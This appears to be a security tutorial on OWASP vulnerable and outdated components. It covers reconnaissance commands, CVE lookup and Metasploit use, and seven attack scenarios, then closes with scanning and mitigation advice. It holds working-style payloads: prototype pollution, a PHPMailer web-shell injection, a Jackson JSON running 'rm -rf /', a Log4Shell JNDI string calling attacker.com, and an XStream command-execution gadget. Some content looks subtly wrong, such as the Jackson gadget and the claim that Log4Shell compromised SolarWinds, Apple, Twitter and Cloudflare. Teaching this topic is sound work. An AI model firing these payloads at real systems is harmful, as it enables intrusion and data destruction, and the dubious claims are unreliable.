Vulnerable and Outdated Components

senarios cover : CWE-1035, CWE-1329, CWE-1357, CWE-1104, CWE-1395

Unless you are writing a really simple function which doesn’t do much, you will reuse software of other people. From development to deployment, you will use libraries, frameworks, technologies, etc. And guess what! Those third-party components will also depend on other components! This comes at a cost. In fact, part of the third-party software components you will reuse will suffer from security vulnerabilities. Besides, you might even be using some malicious components. Therefore, checking your code is a need, not a luxury. Let’s first understand how attackers find and exploit vulnerable components.

How Attackers Find Vulnerable Components

Step 1: Port Scanning

# Scan all ports and get service versions
nmap -sV -p- target.com

# Fast scanning with Masscan
masscan -p0-65535 target.com --rate=1000

# Efficient scanning with RustScan
rustscan -a target.com -- -sV

Open ports reveal:

• Apache/Nginx web servers

• MySQL/PostgreSQL databases

• Application frameworks

• Third-party services

---

Step 2: Fingerprint Technologies

Check HTTP Response Headers:

curl -I target.com

# Output reveals:
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319

Automated Fingerprinting Tools:

• Wappalyzer (browser extension) — Detects frontend and backend technologies

• BuiltWith (online tool) — Full breakdown of site's technology stack

• Shodan — Search for specific technologies and versions

Example: Detecting Laravel

Look at HTTP headers and HTML source for Laravel clues:

curl target.com | grep -i "laravel\|csrf"
# Finds CSRF token format specific to Laravel

Check Dependency Files:

If you gain source code access, check:

• package.json (JavaScript/Node.js)

• composer.json (PHP)

• requirements.txt (Python)

• pom.xml (Java)

• Gemfile (Ruby)

Example package.json with vulnerable dependencies:

{
  "dependencies": {
    "lodash": "4.17.5",
    "express": "4.16.3",
    "phpmailer": "5.2.6"
  }
}

All three are vulnerable versions.

---

Step 3: Trigger Errors to Reveal Technology Details

Submit malformed input to expose error messages:

# Malformed URL
curl "target.com/index.php?id='"

# Returns PHP error with file paths:
# Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, 
# boolean given in /var/www/html/index.php on line 45

# Reveals: PHP backend, MySQL, file paths

---

Step 4: Forced Browsing — Discover Hidden Files

Find default files and admin panels:

# Directory enumeration
dirsearch -u target.com -e php,html,txt

# Brute force with Gobuster
gobuster dir -u target.com -w wordlist.txt

# Fuzzy finding with ffuf
ffuf -w wordlist.txt -u https://target.com/FUZZ

Common targets:

• /admin, /admin-panel, /administrator

• /version, /status, /server-info

• /composer.json (exposes PHP dependencies)

• /.env (environment variables and secrets)

---

Step 5: Identify CVEs and Find Exploits

Once you've identified technologies and versions, search for known vulnerabilities:

CVE Databases:

1. Exploit-DB (exploit-db.com) — Public exploits repository

2. NVD (nvd.nist.gov) — National Vulnerability Database

3. MITRE CVE (cve.mitre.org) — Official CVE records

4. Snyk (snyk.io) — Open-source vulnerability scanning

5. GitHub Security Advisories — Vulnerabilities in repositories

Example: Finding Apache Struts RCE

# Identify version: Apache Struts 2.3.16

# Search for exploits
site:exploit-db.com "Apache Struts 2.3.16"

# Find: CVE-2017-5638 - Remote Code Execution

# Check Metasploit:
msfconsole> search struts2_content_type_ognl
msfconsole> use exploit/multi/http/struts2_content_type_ognl

---

Real-World Attack Scenarios

Scenario 1: Prototype Pollution in Lodash (CVE-2018-16487)

A Node.js application uses vulnerable lodash 4.17.5:

{
  "dependencies": {
    "lodash": "4.17.5"
  }
}

The Attack:

Send a JSON payload with prototype pollution:

curl -X POST http://example.com/api/user \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test",
    "constructor": {
      "prototype": {
        "isAdmin": true
      }
    }
  }'

The vulnerable lodash modifies JavaScript's Object prototype. All objects now have isAdmin: true.

Result:

• Authentication bypass

• Authorization escalation

• Remote code execution

Finding it:

npm audit

# Output:
# lodash 4.17.5 - Prototype Pollution
# Severity: high
# CVE: CVE-2018-16487

---

Scenario 2: Unmaintained PHPMailer with RCE (CVE-2016-10033)

PHP application uses PHPMailer 5.2.6 (last update: 2015):

<?php
require 'PHPMailer/PHPMailerAutoload.php';

$mail = new PHPMailer();
$mail->addAddress($_POST['email']);  // User input!
$mail->send();
?>

The Attack:

Send a malicious email parameter:

POST /sendmail.php HTTP/1.1

email=[e-mail] -X/tmp/php.sh "<?php system($_GET['cmd']); ?>"

The unmaintained library doesn't sanitize the parameter. It's passed to shell commands unsafely.

Result:

• Remote code execution

• Server compromise

• 8+ years of vulnerability exposure (2015-2023)

Why it's dangerous:

• Unmaintained means NO security patches

• Developers don't know it's vulnerable

• No updates available even if they patch

• Vulnerability persists indefinitely

---

Scenario 3: Transitive Dependency Vulnerability (Jackson RCE)

Java application uses Spring Boot 1.5.0:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <version>1.5.0</version>
</dependency>

Spring Boot depends on Jackson 2.8.0, which has CVE-2017-7525: RCE via deserialization.

The Attack:

Send malicious JSON:

curl -X POST http://example.com/api/user \
  -H "Content-Type: application/json" \
  -d '{
    "@type": "org.springframework.expression.spel.standard.SpelExpressionParser",
    "expression": "T(java.lang.Runtime).getRuntime().exec(\"rm -rf /\")"
  }'

Jackson deserializes the @type field, instantiating SpelExpressionParser, which executes arbitrary expressions.

Result:

• Remote code execution

• Complete server compromise

• Vulnerability hidden in transitive dependency

Finding it:

# See all dependencies including transitive
mvn dependency:tree

# Identify Jackson 2.8.0 in the tree
# Even if you don't directly depend on it

# Run vulnerability scan
mvn clean dependency-check:check

---

Scenario 4: Log4Shell (CVE-2021-44228)

Java application uses Apache Log4j 2.14.0:

public void processUserInput(String userInput) {
    logger.info("Processing: " + userInput);  // Vulnerable!
}

The Attack:

Send a specially crafted string that triggers JNDI injection:

# Attacker sends this in any loggable field
${jndi:ldap://attacker.com/Exploit}

# When logged, Log4j interprets it as JNDI lookup
# Connects to attacker's LDAP server
# Downloads and executes malicious code

Result:

• Remote code execution

• Affects billions of devices worldwide

• One of the most critical vulnerabilities ever

Real-world impact:

• SolarWinds, Apple, Twitter, Cloudflare compromised

• Critical infrastructure vulnerable

• Estimated billions of devices affected

Finding it:

# Check Log4j version
grep -r "log4j-core" pom.xml

# If version < 2.16.0, vulnerable
# If version < 2.17.1, vulnerable to bypass

# Use Snyk to scan
snyk test

---

Scenario 5: Typosquatting Attack (python3-dateutil)

Attacker creates malicious package python3-dateutil (real package: python-dateutil):

The Attack:

1. Attacker publishes python3-dateutil to PyPI with malicious code

2. Developer typos the package name: pip install python3-dateutil

3. Instead of legitimate package, installs attacker's code

4. Malicious code exfiltrates SSH keys and credentials

Result:

• Backdoor in developer's environment

• Credentials stolen

• Projects compromised

• Supply chain attack

Real incident:

• Hundreds of developers downloaded the malicious package

• SSH keys exfiltrated to attacker server

• Complete compromise of developer accounts

Finding it:

# Always double-check package names
pip search python-dateutil

# Check package details
pip show python-dateutil

# Verify official source
# Should come from official maintainers only

---

Scenario 6: XStream Deserialization RCE

Java application uses XStream 1.4.5 for XML parsing:

XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);  // Vulnerable!

The Attack:

Send malicious XML payload:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class='java.beans.EventHandler'>
      <target class='java.lang.ProcessBuilder'>
        <command>
          <string>touch</string>
          <string>/tmp/pwned</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

XStream deserializes this as ProcessBuilder, executing arbitrary commands.

Result:

• Remote code execution

• File system access

• Complete server compromise

Finding it:

# Check pom.xml for XStream version
grep -A 2 "xstream" pom.xml

# If version < 1.4.8, vulnerable
# Multiple deserialization CVEs affect < 1.4.10

---

Scenario 7: Dependency Confusion Attack

Organization uses internal package @company-utils in private Maven repository. Attacker publishes company-utils version 2.0.0 to public Maven Central.

The Attack:

1. Build system configured to check public repos first

2. Attacker publishes company-utils:2.0.0 to Maven Central with malicious code

3. Build system finds public version before private version

4. Malicious version downloaded and built into application

5. Application ships with attacker's backdoor

Result:

• Backdoor in production

• Supply chain compromise

• All customers affected

Finding it:

# Check dependency resolution order
mvn dependency:tree -Dverbose

# Audit which repositories are checked first
# Ensure private repos checked before public

---

How to Identify Vulnerable Components During Testing

1. List all dependencies and their versions:

# Node.js
npm ls

# Python
pip freeze > requirements.txt

# PHP
composer show --all

# Java
mvn dependency:tree

2. Scan for known vulnerabilities:

# npm audit
npm audit

# Snyk (works with multiple languages)
snyk test

# OWASP Dependency-Check
dependency-check.sh --scan /path/to/application

# Safety (Python)
safety check

3. Check for outdated/unmaintained packages:

# npm
npm outdated

# Check last update date
npm info package-name

# If no updates in 2+ years, likely unmaintained

4. Review dependency files:

Look for ancient versions:

{
  "lodash": "4.x",           // Yikes, 4.x is ancient!
  "moment": "2.29.x",        // Unmaintained as of 2020
  "jquery": "2.x"            // jQuery 2 EOL in 2016
}

5. Check transitive dependencies:

# See ALL dependencies, not just direct ones
npm ls --all

# Identify which package pulls in the vulnerable dependency
# Decide: Update parent package or exclude transitive dep

---

Advanced Hunting Techniques

Use Nuclei for Automated Detection

Create a Nuclei template to detect outdated software:

id: outdated-software-detection
info:
  name: Outdated Software Detection
  author: pentester
  severity: medium
  description: Detects outdated software versions

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/version"
      - "{{BaseURL}}/status"
      - "{{BaseURL}}/api/version"
      - "{{BaseURL}}/robots.txt"
    
    matchers:
      - type: regex
        part: header
        regex:
          - '(?i)(Server|X-Powered-By):.*?(Apache|nginx|PHP|WordPress)/(\d+\.\d+)'
    
    extractors:
      - type: regex
        regex:
          - '(?i)(Server|X-Powered-By):.*?([A-Za-z]+)/(\d+\.\d+\.\d+)'

Run it:

nuclei -t outdated-software-detection.yaml -u http://target.com

Automated Scanning with CI/CD

# In your CI/CD pipeline
npm audit --audit-level=moderate
snyk test --severity-threshold=high
dependency-check.sh --scan . --fail-on-cvss 7.0

---

Mitigation Strategies

1. Inventory all dependencies

Know what you're using:

# Generate SBOM (Software Bill of Materials)
cyclonedx-npm --output-file sbom.json

2. Update proactively

# Check for outdated packages
npm outdated

# Update with caution
npm update

# Use tools to handle updates safely
npm audit fix

3. Monitor for vulnerabilities continuously

• Snyk — Continuous monitoring and automated PRs for fixes

• Dependabot — GitHub's dependency update automation

• WhiteSource — Enterprise scanning

• Black Duck — Comprehensive scanning

4. Lock dependency versions

// Use package-lock.json (Node.js)
// Or composer.lock (PHP)
// Or Pipfile.lock (Python)

5. Use only trusted sources

• Verify package authenticity

• Use official package managers

• Check package integrity

• Review maintainer reputation

6. Remove unused dependencies

# Node.js - find unused
npm ls --depth=0

# Remove unused
npm prune

7. Implement policies

• No unmaintained packages

• Max age for packages without updates

• Mandatory security scanning

• Quarterly dependency audits

• Prevent transitive dependency exploits

8. Patch vulnerable components immediately

Especially for:

• RCE vulnerabilities

• Authentication bypass

• Data exposure

• Critical libraries (logging, JSON parsing, etc.)

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CWE - CWE-1035: CWE CATEGORY: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities (4.19.1)cwe.mitre.org

CWE - CWE-1104: Use of Unmaintained Third Party Components (4.19.1)cwe.mitre.org

A06 Vulnerable and Outdated Components - OWASP Top 10:2021owasp.org